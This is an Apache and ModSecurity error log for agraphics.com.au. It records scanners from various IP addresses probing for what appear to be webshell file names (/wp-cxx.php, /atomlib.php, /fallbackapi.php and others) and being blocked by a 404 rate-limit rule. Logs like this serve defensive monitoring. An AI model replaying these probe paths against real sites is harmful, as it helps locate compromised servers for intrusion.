[Wed Apr 08 22:30:39.584876 2026] [:error] [pid 12386:tid 12436] [client 20.123.35.2:20451] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "adZmjxLhhLtqHi2gK7UnAwAAARQ"]
[Wed Apr 08 22:30:41.265379 2026] [:error] [pid 64066:tid 64082] [client 20.123.35.2:15972] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "adZmkVR3WucJgr2vZGZtdgAAAU0"]
[Wed Apr 08 22:30:43.326529 2026] [:error] [pid 12386:tid 12438] [client 20.123.35.2:16064] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "adZmkxLhhLtqHi2gK7UnCwAAARY"]
[Wed Apr 08 22:30:45.122267 2026] [:error] [pid 64066:tid 64070] [client 20.123.35.2:18207] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "adZmlVR3WucJgr2vZGZtfgAAAUE"]
[Wed Apr 08 22:30:52.302902 2026] [:error] [pid 12490:tid 12493] [client 20.123.35.2:5301] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "adZmnG1Fea4F4fbumr0lbwAAAME"]
[Wed Apr 08 22:30:55.081683 2026] [:error] [pid 64066:tid 64089] [client 20.123.35.2:20421] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atomlib.php"] [unique_id "adZmn1R3WucJgr2vZGZtlgAAAVQ"]
[Wed Apr 08 22:30:55.815216 2026] [:error] [pid 64066:tid 64069] [client 20.123.35.2:17776] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "adZmn1R3WucJgr2vZGZtmAAAAUA"]
[Wed Apr 08 22:30:58.505873 2026] [:error] [pid 12453:tid 12458] [client 20.123.35.2:55891] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "adZmohjtW7S6XsLPvrRVEwAAAIM"]
[Wed Apr 08 22:31:00.427448 2026] [:error] [pid 12453:tid 12479] [client 20.123.35.2:23374] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "adZmpBjtW7S6XsLPvrRVGAAAAJg"]
[Wed Apr 08 22:31:02.123881 2026] [:error] [pid 12490:tid 12498] [client 20.123.35.2:38869] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system_log.php"] [unique_id "adZmpm1Fea4F4fbumr0leQAAAMY"]
[Wed Apr 08 22:31:04.214703 2026] [:error] [pid 12385:tid 12395] [client 20.123.35.2:6140] [client 20.123.35.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-gr.php"] [unique_id "adZmqCAjtvRQEkLosq2rHgAAAAY"]
[Wed Apr 08 22:31:07.601827 2026] [proxy_fcgi:error] [pid 64066:tid 64092] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:07.855622 2026] [proxy_fcgi:error] [pid 64066:tid 64093] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:08.109716 2026] [proxy_fcgi:error] [pid 64066:tid 64073] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:08.394778 2026] [proxy_fcgi:error] [pid 64066:tid 64083] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:08.648955 2026] [proxy_fcgi:error] [pid 64066:tid 64089] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:08.910529 2026] [proxy_fcgi:error] [pid 64066:tid 64079] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:09.168047 2026] [proxy_fcgi:error] [pid 64066:tid 64078] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:09.422092 2026] [proxy_fcgi:error] [pid 64066:tid 64073] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:31:09.677018 2026] [proxy_fcgi:error] [pid 64066:tid 64085] [client 20.123.35.2:18010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 22:50:58.505922 2026] [autoindex:error] [pid 64066:tid 64091] [client 40.82.133.107:64910] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 09 02:23:07.028571 2026] [:error] [pid 40055:tid 40130] [client 178.138.193.182:26431] [client 178.138.193.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.138.193.182, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adadC3_5SjAJycOw5k_XZwAAAIA"]
[Thu Apr 09 02:23:07.040303 2026] [proxy_fcgi:error] [pid 40055:tid 40130] [client 178.138.193.182:26431] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:16.939756 2026] [proxy_fcgi:error] [pid 20641:tid 20653] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:17.056893 2026] [proxy_fcgi:error] [pid 20641:tid 20650] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:17.294023 2026] [proxy_fcgi:error] [pid 20641:tid 20660] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:17.411772 2026] [proxy_fcgi:error] [pid 20641:tid 20654] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:17.671449 2026] [proxy_fcgi:error] [pid 20641:tid 20659] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:17.788200 2026] [proxy_fcgi:error] [pid 20641:tid 20658] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:18.148295 2026] [proxy_fcgi:error] [pid 20641:tid 20662] [client 20.46.165.192:9790] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 07:52:18.261679 2026] [:error] [pid 20641:tid 20646] [client 20.46.165.192:9790] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adbqMm3LksBSF-6rlkaghwAAAME"]
[Thu Apr 09 07:52:18.754750 2026] [:error] [pid 20537:tid 20615] [client 20.46.165.192:16884] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adbqMsSTjpSeyrxLmN47yAAAAJE"]
[Thu Apr 09 07:52:19.213545 2026] [:error] [pid 20537:tid 20608] [client 20.46.165.192:33291] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adbqM8STjpSeyrxLmN47ywAAAIo"]
[Thu Apr 09 07:52:19.690013 2026] [:error] [pid 20641:tid 20649] [client 20.46.165.192:32131] [client 20.46.165.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "adbqM23LksBSF-6rlkagiwAAAMQ"]
[Thu Apr 09 08:09:21.496633 2026] [:error] [pid 20536:tid 20579] [client 39.35.208.79:20067] [client 39.35.208.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.35.208.79, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adbuMcPqyUJM1s3YpIZKNgAAAEg"]
[Thu Apr 09 08:09:21.511396 2026] [proxy_fcgi:error] [pid 20536:tid 20579] [client 39.35.208.79:20067] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:10:11.105134 2026] [:error] [pid 20537:tid 20598] [client 180.249.173.92:55628] [client 180.249.173.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.249.173.92, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "adbuY8STjpSeyrxLmN5D0gAAAIA"]
[Thu Apr 09 08:10:11.116333 2026] [proxy_fcgi:error] [pid 20537:tid 20598] [client 180.249.173.92:55628] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:26.520394 2026] [proxy_fcgi:error] [pid 20536:tid 20584] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:26.734500 2026] [proxy_fcgi:error] [pid 20536:tid 20583] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:26.950490 2026] [proxy_fcgi:error] [pid 20536:tid 20577] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:27.178627 2026] [proxy_fcgi:error] [pid 20536:tid 20581] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:27.391937 2026] [proxy_fcgi:error] [pid 20536:tid 20578] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:27.608006 2026] [proxy_fcgi:error] [pid 20536:tid 20588] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 08:49:27.822769 2026] [proxy_fcgi:error] [pid 20536:tid 20593] [client 20.220.57.112:29321] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:26.263917 2026] [proxy_fcgi:error] [pid 20535:tid 20555] [client 20.63.32.44:34744] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:26.504611 2026] [proxy_fcgi:error] [pid 20535:tid 20565] [client 20.63.32.44:34744] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:26.753579 2026] [proxy_fcgi:error] [pid 20535:tid 20556] [client 20.63.32.44:34744] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:26.994647 2026] [proxy_fcgi:error] [pid 20535:tid 20560] [client 20.63.32.44:34744] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:27.236566 2026] [proxy_fcgi:error] [pid 20535:tid 20553] [client 20.63.32.44:34744] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 09:08:27.474176 2026] [:error] [pid 20535:tid 20547] [client 20.63.32.44:34744] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rnenu.php"] [unique_id "adb8CwWiD9hWnEUHWdOw3QAAAAM"]
[Thu Apr 09 09:08:28.016319 2026] [:error] [pid 20535:tid 20554] [client 20.63.32.44:33991] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rnenu.php"] [unique_id "adb8DAWiD9hWnEUHWdOw4QAAAAo"]
[Thu Apr 09 09:08:28.518250 2026] [:error] [pid 20535:tid 20547] [client 20.63.32.44:34048] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rnenu.php"] [unique_id "adb8DAWiD9hWnEUHWdOw5AAAAAM"]
[Thu Apr 09 09:08:28.967015 2026] [:error] [pid 22627:tid 22639] [client 20.63.32.44:34700] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rnenu.php"] [unique_id "adb8DPr8glsF_jKQpr6qrwAAAQk"]
[Thu Apr 09 09:08:29.388411 2026] [:error] [pid 22627:tid 22642] [client 20.63.32.44:34000] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fallbackapi.php"] [unique_id "adb8Dfr8glsF_jKQpr6qsQAAAQw"]
[Thu Apr 09 09:08:29.854535 2026] [:error] [pid 22627:tid 22654] [client 20.63.32.44:34039] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fallbackapi.php"] [unique_id "adb8Dfr8glsF_jKQpr6qtAAAARg"]
[Thu Apr 09 09:08:30.379524 2026] [:error] [pid 20536:tid 20580] [client 20.63.32.44:34709] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fallbackapi.php"] [unique_id "adb8DsPqyUJM1s3YpIZfagAAAEk"]
[Thu Apr 09 09:08:30.853821 2026] [:error] [pid 22627:tid 22636] [client 20.63.32.44:33989] [client 20.63.32.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fallbackapi.php"] [unique_id "adb8Dvr8glsF_jKQpr6quwAAAQY"]
[Thu Apr 09 13:08:47.668166 2026] [proxy_fcgi:error] [pid 24927:tid 24932] [client 20.63.32.44:52365] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:25.872741 2026] [proxy_fcgi:error] [pid 18477:tid 18482] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:26.170368 2026] [proxy_fcgi:error] [pid 18477:tid 18488] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:26.516712 2026] [proxy_fcgi:error] [pid 18477:tid 18497] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:26.783957 2026] [proxy_fcgi:error] [pid 18477:tid 18489] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:27.448994 2026] [proxy_fcgi:error] [pid 18477:tid 18483] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:27.783316 2026] [proxy_fcgi:error] [pid 18477:tid 18487] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:28.093786 2026] [proxy_fcgi:error] [pid 18477:tid 18500] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:28.516906 2026] [proxy_fcgi:error] [pid 18477:tid 18491] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:28.830525 2026] [proxy_fcgi:error] [pid 18477:tid 18484] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:29.242674 2026] [proxy_fcgi:error] [pid 18477:tid 18502] [client 20.240.63.86:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:54:29.505476 2026] [:error] [pid 18477:tid 18479] [client 20.240.63.86:31677] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxx.php"] [unique_id "add3VcDe826HlFeoLPJpWgAAAUA"]
[Thu Apr 09 17:54:30.615875 2026] [:error] [pid 24516:tid 24550] [client 20.240.63.86:31640] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxx.php"] [unique_id "add3VthW7vSS-UkeWCUaTAAAAEM"]
[Thu Apr 09 17:54:31.843022 2026] [:error] [pid 20837:tid 20840] [client 20.240.63.86:33196] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxx.php"] [unique_id "add3V_SL71FHZkjrGzPDaAAAAYE"]
[Thu Apr 09 17:54:32.805860 2026] [:error] [pid 18477:tid 18482] [client 20.240.63.86:13968] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cxx.php"] [unique_id "add3WMDe826HlFeoLPJpXAAAAUM"]
[Thu Apr 09 17:54:33.590081 2026] [:error] [pid 18477:tid 18494] [client 20.240.63.86:14750] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "add3WcDe826HlFeoLPJpYQAAAU8"]
[Thu Apr 09 17:54:34.355090 2026] [:error] [pid 24927:tid 24943] [client 20.240.63.86:5573] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "add3WjXObuzEuw8mNJvfhAAAAQ0"]
[Thu Apr 09 17:54:35.129456 2026] [:error] [pid 24516:tid 24547] [client 20.240.63.86:36333] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "add3W9hW7vSS-UkeWCUaTgAAAEA"]
[Thu Apr 09 17:54:36.347912 2026] [:error] [pid 24515:tid 24539] [client 20.240.63.86:40657] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/water.php"] [unique_id "add3XK1OMnvM2fMnB1NvFwAAABQ"]
[Thu Apr 09 17:54:37.107715 2026] [:error] [pid 24515:tid 24527] [client 20.240.63.86:40685] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "add3Xa1OMnvM2fMnB1NvGwAAAAg"]
[Thu Apr 09 17:54:37.772108 2026] [:error] [pid 20837:tid 20854] [client 20.240.63.86:11260] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "add3XfSL71FHZkjrGzPDbAAAAY8"]
[Thu Apr 09 17:54:40.086913 2026] [:error] [pid 18477:tid 18480] [client 20.240.63.86:31635] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "add3YMDe826HlFeoLPJpawAAAUE"]
[Thu Apr 09 17:54:40.771482 2026] [:error] [pid 24516:tid 24548] [client 20.240.63.86:33544] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "add3YNhW7vSS-UkeWCUaUwAAAEE"]
[Thu Apr 09 17:54:42.033873 2026] [:error] [pid 24516:tid 24552] [client 20.240.63.86:14752] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "add3YthW7vSS-UkeWCUaVAAAAEU"]
[Thu Apr 09 17:54:43.521878 2026] [:error] [pid 24624:tid 24650] [client 20.240.63.86:20556] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "add3Y-4Jn-WvK1ZBTvivrAAAANg"]
[Thu Apr 09 17:54:47.875196 2026] [:error] [pid 18477:tid 18502] [client 20.240.63.86:13952] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "add3Z8De826HlFeoLPJpdgAAAVc"]
[Thu Apr 09 17:54:48.604309 2026] [:error] [pid 24517:tid 24597] [client 20.240.63.86:33565] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ggb.php"] [unique_id "add3aHboYEn2ZFM_PS9tSwAAAJc"]
[Thu Apr 09 17:54:49.919317 2026] [:error] [pid 24515:tid 24530] [client 20.240.63.86:28650] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/13.php"] [unique_id "add3aa1OMnvM2fMnB1NvIwAAAAs"]
